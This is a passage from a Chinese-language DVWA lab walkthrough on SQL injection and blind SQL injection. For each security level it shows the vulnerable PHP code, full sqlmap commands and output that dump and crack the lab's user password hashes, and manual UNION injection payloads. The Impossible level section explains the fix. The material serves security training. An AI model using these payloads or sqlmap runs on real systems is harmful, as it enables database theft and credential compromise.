'5f4dcc3b5aa765d61d8327deb882cf99' [23:56:16] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b' [23:56:16] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7' [23:56:16] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3' [23:56:16] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03' Database: dvwa Table: users [5 entries] +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | user_id | avatar | user | password | last_name | first_name | last_login | failed_login | +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | 1 | http://127.0.0.1/dvwa/hackable/users/admin.jpg | admin | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin | admin | 2018-03-13 10:53:08 | 0 | | 2 | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2018-03-08 22:33:32 | 0 | | 3 | http://127.0.0.1/dvwa/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2018-03-08 22:33:32 | 0 | | 4 | http://127.0.0.1/dvwa/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2018-03-08 22:33:32 | 0 | | 5 | http://127.0.0.1/dvwa/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2018-03-08 22:33:32 | 0 | +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ [23:56:16] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv' [23:56:16] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115' [*] shutting down at 23:56:16 </code></pre> <h3>8.3 High</h3> <p>代码：</p> <pre><code><?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; #限制输出的行数只能是一行 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> </code></pre> <p>1.字符型注入，添加了<code>limit 1</code> 来限制输出的行数只能是一行,但是可以利用注释符<code>-- -</code> 把<code>limit 1</code>给注释掉；<br> 2.而且利用另外一个页面来提交表单，提交页面和结果显示页面分开是为了防止一般的sqlmap注入，sqlmap注入不能在当前页面得到反馈信息，就无法进行注入,所以要采用二阶sql注入： <code>–second-order=URL</code> 返回结果的url，这样就可以；<br> sqlmap注入：</p> <pre><code>root@kali:~# sqlmap -u http://192.168.0.115/dvwa/vulnerabilities/sqli/session-input.php# --second-order=http://192.168.0.115/dvwa/vulnerabilities/sqli/ --data='id=1&Submit=Submit' --cookie='security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' --dbs --current-user ___ __H__ ___ ___[']_____ ___ ___ {1.1.11#stable} |_ -| . ['] | .'| . | |___|_ [']_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 23:46:46 [23:46:46] [INFO] resuming back-end DBMS 'mysql' [23:46:46] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1' AND SLEEP(5) AND 'RtUm'='RtUm&Submit=Submit Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1' UNION ALL SELECT CONCAT(0x7176627671,0x794a667358656d56664b754f4c50734c6d47766d44636d5269505841706d756a6f6a427473784970,0x717a6b6b71),NULL-- Siup&Submit=Submit --- [23:46:46] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.4.9, PHP 5.5.12 back-end DBMS: MySQL >= 5.0.12 [23:46:46] [INFO] fetching current user current user: 'root@localhost' [23:46:46] [INFO] fetching database names available databases [7]: [*] dvwa [*] information_schema [*] mysql [*] performance_schema [*] sakila [*] sys [*] world [23:46:46] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115' [*] shutting down at 23:46:46 root@kali:~# sqlmap -u http://192.168.0.115/dvwa/vulnerabilities/sqli/session-input.php# --second-order=http://192.168.0.115/dvwa/vulnerabilities/sqli/ --data='id=1&Submit=Submit' --cookie='security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' -D dvwa -T users --dump ___ __H__ ___ ___[.]_____ ___ ___ {1.1.11#stable} |_ -| . ['] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 23:53:29 [23:53:29] [INFO] resuming back-end DBMS 'mysql' [23:53:29] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1' AND SLEEP(5) AND 'RtUm'='RtUm&Submit=Submit Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1' UNION ALL SELECT CONCAT(0x7176627671,0x794a667358656d56664b754f4c50734c6d47766d44636d5269505841706d756a6f6a427473784970,0x717a6b6b71),NULL-- Siup&Submit=Submit --- [23:53:29] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.4.9, PHP 5.5.12 back-end DBMS: MySQL >= 5.0.12 [23:53:29] [INFO] fetching columns for table 'users' in database 'dvwa' [23:53:29] [INFO] fetching entries for table 'users' in database 'dvwa' [23:53:29] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] do you want to crack them via a dictionary-based attack? [Y/n/q] [23:53:30] [INFO] using hash method 'md5_generic_passwd' [23:53:30] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99' [23:53:30] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b' [23:53:30] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7' [23:53:30] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3' [23:53:30] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03' Database: dvwa Table: users [5 entries] +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | user_id | avatar | user | password | last_name | first_name | last_login | failed_login | +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | 1 | http://127.0.0.1/dvwa/hackable/users/admin.jpg | admin | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin | admin | 2018-03-13 10:53:08 | 0 | | 2 | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2018-03-08 22:33:32 | 0 | | 3 | http://127.0.0.1/dvwa/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2018-03-08 22:33:32 | 0 | | 4 | http://127.0.0.1/dvwa/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2018-03-08 22:33:32 | 0 | | 5 | http://127.0.0.1/dvwa/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2018-03-08 22:33:32 | 0 | +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ [23:53:30] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv' [23:53:30] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115' [*] shutting down at 23:53:30 </code></pre> <p>手工注入：</p> <pre><code>1' and 1=1 -- - 1' and 1=2 -- - 1' order by 2 -- - 1' union select 1,2 -- - 1' union select database(),2 -- - 1' union select table_name,2 from information_schema.tables where table_schema=database() -- - 1' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users' -- - 1' union select concat_ws(0x7c,user_id,user,password),2 from users -- - </code></pre> <h3>8.4 Impossible</h3> <p>代码：</p> <pre><code><?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?> </code></pre> <p>1.加入了token验证，防止csrf攻击；<br> 2.PDO技术，防止sql注入；<br> 3.当返回的查询数据为1时才能成功输出，防止拖库。</p> <h1>9. SQL Injection (Blind)</h1> <p>sql盲注指的是sql语句执行之后，在数据库中查询的数据不能显示到页面中。而一般注入可以在页面中看到sql语句执行之后的内容。</p> <h3>9.1 Low</h3> <p>代码：</p> <pre><code><?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> </code></pre> <p>GET方法提交。<br> sqlmap注入：</p> <pre><code>root@kali:~# sqlmap -u "http://192.168.0.115/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' -D dvwa -T users --dump ___ __H__ ___ ___[,]_____ ___ ___ {1.1.11#stable} |_ -| . [,] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 00:30:41 [00:30:41] [INFO] resuming back-end DBMS 'mysql' [00:30:41] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 8728=8728 AND 'fPGD'='fPGD&Submit=Submit Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1' OR (SELECT 1065 FROM(SELECT COUNT(*),CONCAT(0x7162707171,(SELECT (ELT(1065=1065,1))),0x7170767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'pKHC'='pKHC&Submit=Submit Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1' AND SLEEP(5) AND 'gHyN'='gHyN&Submit=Submit --- [00:30:41] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.4.9, PHP 5.5.12 back-end DBMS: MySQL >= 5.0 [00:30:41] [INFO] fetching columns for table 'users' in database 'dvwa' [00:30:41] [INFO] the SQL query used returns 8 entries [00:30:41] [INFO] resumed: user_id [00:30:41] [INFO] resumed: int(6) [00:30:41] [INFO] resumed: first_name [00:30:41] [INFO] resumed: varchar(15) [00:30:41] [INFO] resumed: last_name [00:30:41] [INFO] resumed: varchar(15) [00:30:41] [INFO] resumed: user [00:30:41] [INFO] resumed: varchar(15) [00:30:41] [INFO] resumed: password [00:30:41] [INFO] resumed: varchar(32) [00:30:41] [INFO] resumed: avatar [00:30:41] [INFO] resumed: varchar(70) [00:30:41] [INFO] resumed: last_login [00:30:41] [INFO] resumed: timestamp [00:30:41] [INFO] resumed: failed_login [00:30:41] [INFO] resumed: int(3) [00:30:41] [INFO] fetching entries for table 'users' in database 'dvwa' [00:30:41] [INFO] the SQL query used returns 5 entries [00:30:41] [INFO] resumed: admin [00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/admin.jpg [00:30:41] [INFO] resumed: 0 [00:30:41] [INFO] resumed: admin [00:30:41] [INFO] resumed: 2018-03-13 10:53:08 [00:30:41] [INFO] resumed: admin [00:30:41] [INFO] resumed: 21232f297a57a5a743894a0e4a801fc3 [00:30:41] [INFO] resumed: 1 [00:30:41] [INFO] resumed: gordonb [00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/gordonb.jpg [00:30:41] [INFO] resumed: 0 [00:30:41] [INFO] resumed: Gordon [00:30:41] [INFO] resumed: 2018-03-08 22:33:32 [00:30:41] [INFO] resumed: Brown [00:30:41] [INFO] resumed: e99a18c428cb38d5f260853678922e03 [00:30:41] [INFO] resumed: 2 [00:30:41] [INFO] resumed: 1337 [00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/1337.jpg [00:30:41] [INFO] resumed: 0 [00:30:41] [INFO] resumed: Hack [00:30:41] [INFO] resumed: 2018-03-08 22:33:32 [00:30:41] [INFO] resumed: Me [00:30:41] [INFO] resumed: 8d3533d75ae2c3966d7e0d4fcc69216b [00:30:41] [INFO] resumed: 3 [00:30:41] [INFO] resumed: pablo [00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/pablo.jpg [00:30:41] [INFO] resumed: 0 [00:30:41] [INFO] resumed: Pablo [00:30:41] [INFO] resumed: 2018-03-08 22:33:32 [00:30:41] [INFO] resumed: Picasso [00:30:41] [INFO] resumed: 0d107d09f5bbe40cade3de5c71e9e9b7 [00:30:41] [INFO] resumed: 4 [00:30:41] [INFO] resumed: smithy [00:30:41] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/smithy.jpg [00:30:41] [INFO] resumed: 0 [00:30:41] [INFO] resumed: Bob [00:30:41] [INFO] resumed: 2018-03-08 22:33:32 [00:30:41] [INFO] resumed: Smith [00:30:41] [INFO] resumed: 5f4dcc3b5aa765d61d8327deb882cf99 [00:30:41] [INFO] resumed: 5 [00:30:41] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] do you want to crack them via a dictionary-based attack? [Y/n/q] [00:30:42] [INFO] using hash method 'md5_generic_passwd' [00:30:42] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99' [00:30:42] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b' [00:30:42] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7' [00:30:42] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3' [00:30:42] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03' Database: dvwa Table: users [5 entries] +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | user_id | avatar | user | password | last_name | first_name | last_login | failed_login | +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | 1 | http://127.0.0.1/dvwa/hackable/users/admin.jpg | admin | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin | admin | 2018-03-13 10:53:08 | 0 | | 2 | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2018-03-08 22:33:32 | 0 | | 3 | http://127.0.0.1/dvwa/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2018-03-08 22:33:32 | 0 | | 4 | http://127.0.0.1/dvwa/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2018-03-08 22:33:32 | 0 | | 5 | http://127.0.0.1/dvwa/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2018-03-08 22:33:32 | 0 | +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ [00:30:42] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv' [00:30:42] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115' [*] shutting down at 00:30:42 </code></pre> <h3>9.2 Medium</h3> <p>代码：</p> <pre><code><?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close(); } ?> </code></pre> <p>POST方法提交表单。<br> sqlmap注入：</p> <pre><code>root@kali:~# sqlmap -u "http://192.168.0.115/dvwa/vulnerabilities/sqli_blind/#" --cookie="security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7" --data="id=1&Submit=Submit" -D dvwa -T users --dump ___ __H__ ___ ___[)]_____ ___ ___ {1.1.11#stable} |_ -| . [.] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 00:41:00 [00:41:01] [INFO] resuming back-end DBMS 'mysql' [00:41:01] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 9986=9986&Submit=Submit Type: error-based Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR) Payload: id=(SELECT 5655 FROM(SELECT COUNT(*),CONCAT(0x7162707171,(SELECT (ELT(5655=5655,1))),0x7170767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&Submit=Submit --- [00:41:01] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.4.9, PHP 5.5.12 back-end DBMS: MySQL >= 5.0 [00:41:01] [INFO] fetching columns for table 'users' in database 'dvwa' [00:41:01] [INFO] the SQL query used returns 8 entries [00:41:01] [INFO] resumed: user_id [00:41:01] [INFO] resumed: int(6) [00:41:01] [INFO] resumed: first_name [00:41:01] [INFO] resumed: varchar(15) [00:41:01] [INFO] resumed: last_name [00:41:01] [INFO] resumed: varchar(15) [00:41:01] [INFO] resumed: user [00:41:01] [INFO] resumed: varchar(15) [00:41:01] [INFO] resumed: password [00:41:01] [INFO] resumed: varchar(32) [00:41:01] [INFO] resumed: avatar [00:41:01] [INFO] resumed: varchar(70) [00:41:01] [INFO] resumed: last_login [00:41:01] [INFO] resumed: timestamp [00:41:01] [INFO] resumed: failed_login [00:41:01] [INFO] resumed: int(3) [00:41:01] [INFO] fetching entries for table 'users' in database 'dvwa' [00:41:01] [INFO] the SQL query used returns 5 entries [00:41:01] [INFO] resumed: admin [00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/admin.jpg [00:41:01] [INFO] resumed: 0 [00:41:01] [INFO] resumed: admin [00:41:01] [INFO] resumed: 2018-03-13 10:53:08 [00:41:01] [INFO] resumed: admin [00:41:01] [INFO] resumed: 21232f297a57a5a743894a0e4a801fc3 [00:41:01] [INFO] resumed: 1 [00:41:01] [INFO] resumed: gordonb [00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/gordonb.jpg [00:41:01] [INFO] resumed: 0 [00:41:01] [INFO] resumed: Gordon [00:41:01] [INFO] resumed: 2018-03-08 22:33:32 [00:41:01] [INFO] resumed: Brown [00:41:01] [INFO] resumed: e99a18c428cb38d5f260853678922e03 [00:41:01] [INFO] resumed: 2 [00:41:01] [INFO] resumed: 1337 [00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/1337.jpg [00:41:01] [INFO] resumed: 0 [00:41:01] [INFO] resumed: Hack [00:41:01] [INFO] resumed: 2018-03-08 22:33:32 [00:41:01] [INFO] resumed: Me [00:41:01] [INFO] resumed: 8d3533d75ae2c3966d7e0d4fcc69216b [00:41:01] [INFO] resumed: 3 [00:41:01] [INFO] resumed: pablo [00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/pablo.jpg [00:41:01] [INFO] resumed: 0 [00:41:01] [INFO] resumed: Pablo [00:41:01] [INFO] resumed: 2018-03-08 22:33:32 [00:41:01] [INFO] resumed: Picasso [00:41:01] [INFO] resumed: 0d107d09f5bbe40cade3de5c71e9e9b7 [00:41:01] [INFO] resumed: 4 [00:41:01] [INFO] resumed: smithy [00:41:01] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/smithy.jpg [00:41:01] [INFO] resumed: 0 [00:41:01] [INFO] resumed: Bob [00:41:01] [INFO] resumed: 2018-03-08 22:33:32 [00:41:01] [INFO] resumed: Smith [00:41:01] [INFO] resumed: 5f4dcc3b5aa765d61d8327deb882cf99 [00:41:01] [INFO] resumed: 5 [00:41:01] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] do you want to crack them via a dictionary-based attack? [Y/n/q] [00:41:03] [INFO] using hash method 'md5_generic_passwd' [00:41:03] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99' [00:41:03] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b' [00:41:03] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7' [00:41:03] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3' [00:41:03] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03' Database: dvwa Table: users [5 entries] +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | user_id | avatar | user | password | last_name | first_name | last_login | failed_login | +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | 1 | http://127.0.0.1/dvwa/hackable/users/admin.jpg | admin | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin | admin | 2018-03-13 10:53:08 | 0 | | 2 | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2018-03-08 22:33:32 | 0 | | 3 | http://127.0.0.1/dvwa/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2018-03-08 22:33:32 | 0 | | 4 | http://127.0.0.1/dvwa/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2018-03-08 22:33:32 | 0 | | 5 | http://127.0.0.1/dvwa/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2018-03-08 22:33:32 | 0 | +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ [00:41:03] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv' [00:41:03] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115' [*] shutting down at 00:41:03 </code></pre> <h3>9.3 High</h3> <p>代码：</p> <pre><code><?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> </code></pre> <p>提交和显示结果页面分离，而且注入参数id在cookie中。设置sqlmap的<code>--level 2</code>sqlmap会尝试注入Cookie参数：</p> <pre><code>root@kali:~# sqlmap -u "http://192.168.0.115/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --cookie="id=f; security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7" --second-order="http://192.168.0.115/dvwa/vulnerabilities/sqli_blind/" -D dvwa -T users --dump --level 2 ___ __H__ ___ ___["]_____ ___ ___ {1.1.11#stable} |_ -| . ['] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 21:55:57 [21:55:57] [INFO] resuming back-end DBMS 'mysql' [21:55:57] [INFO] testing connection to the target URL [21:55:58] [WARNING] the web server responded with an HTTP error code (404) which could interfere with the results of the tests sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (Cookie) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 RLIKE time-based blind Payload: id=f' RLIKE SLEEP(5) AND 'ZjQC'='ZjQC; security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7 --- [21:55:58] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.4.9, PHP 5.5.12 back-end DBMS: MySQL >= 5.0.12 [21:55:58] [INFO] fetching columns for table 'users' in database 'dvwa' [21:55:58] [INFO] resumed: 8 [21:55:58] [INFO] resumed: user_id [21:55:58] [INFO] resumed: first_name [21:55:58] [INFO] resumed: last_name [21:55:58] [INFO] resumed: user [21:55:58] [INFO] resumed: password [21:55:58] [INFO] resumed: avatar [21:55:58] [INFO] resumed: last_login [21:55:58] [INFO] resumed: failed_login [21:55:58] [INFO] fetching entries for table 'users' in database 'dvwa' [21:55:58] [INFO] fetching number of entries for table 'users' in database 'dvwa' [21:55:58] [INFO] resumed: 5 [21:55:58] [INFO] resumed: 1337 [21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/1337.jpg [21:55:58] [INFO] resumed: 0 [21:55:58] [INFO] resumed: Hack [21:55:58] [INFO] resumed: 2018-03-08 22:33:32 [21:55:58] [INFO] resumed: Me [21:55:58] [INFO] resumed: 8d3533d75ae2c3966d7e0d4fcc69216b [21:55:58] [INFO] resumed: 3 [21:55:58] [INFO] resumed: admin [21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/admin.jpg [21:55:58] [INFO] resumed: 0 [21:55:58] [INFO] resumed: admin [21:55:58] [INFO] resumed: 2018-03-13 10:53:08 [21:55:58] [INFO] resumed: admin [21:55:58] [INFO] resumed: 21232f297a57a5a743894a0e4a801fc3 [21:55:58] [INFO] resumed: 1 [21:55:58] [INFO] resumed: gordonb [21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/gordonb.jpg [21:55:58] [INFO] resumed: 0 [21:55:58] [INFO] resumed: Gordon [21:55:58] [INFO] resumed: 2018-03-08 22:33:32 [21:55:58] [INFO] resumed: Brown [21:55:58] [INFO] resumed: e99a18c428cb38d5f260853678922e03 [21:55:58] [INFO] resumed: 2 [21:55:58] [INFO] resumed: pablo [21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/pablo.jpg [21:55:58] [INFO] resumed: 0 [21:55:58] [INFO] resumed: Pablo [21:55:58] [INFO] resumed: 2018-03-08 22:33:32 [21:55:58] [INFO] resumed: Picasso [21:55:58] [INFO] resumed: 0d107d09f5bbe40cade3de5c71e9e9b7 [21:55:58] [INFO] resumed: 4 [21:55:58] [INFO] resumed: smithy [21:55:58] [INFO] resumed: 